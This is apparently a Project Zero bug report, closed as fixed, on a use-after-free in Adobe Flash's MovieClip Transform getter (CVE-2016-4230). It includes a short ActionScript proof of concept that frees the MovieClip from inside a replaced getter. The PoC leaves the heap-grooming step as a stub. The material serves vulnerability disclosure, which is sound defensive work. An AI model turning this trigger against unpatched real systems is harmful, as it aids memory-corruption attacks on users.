New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Sep 2016
Cc:



Sign in to add a comment
Adobe Flash: User-after-free in MovieClip Transform getter
Project Member Reported by natashenka@google.com, Jun 9 2016 Back to list
There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap
	}


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
transformprop.swf
781 bytes Download
transformprop.fla
4.7 KB Download
Project Member Comment 1 by natashenka@google.com, Aug 25 2016
Labels: -Restrict-View-Commit -Severity-High CVE-2016-4230 Severity-HIgh
Project Member Comment 2 by natashenka@google.com, Sep 8 2016
Status: Fixed
Sign in to add a comment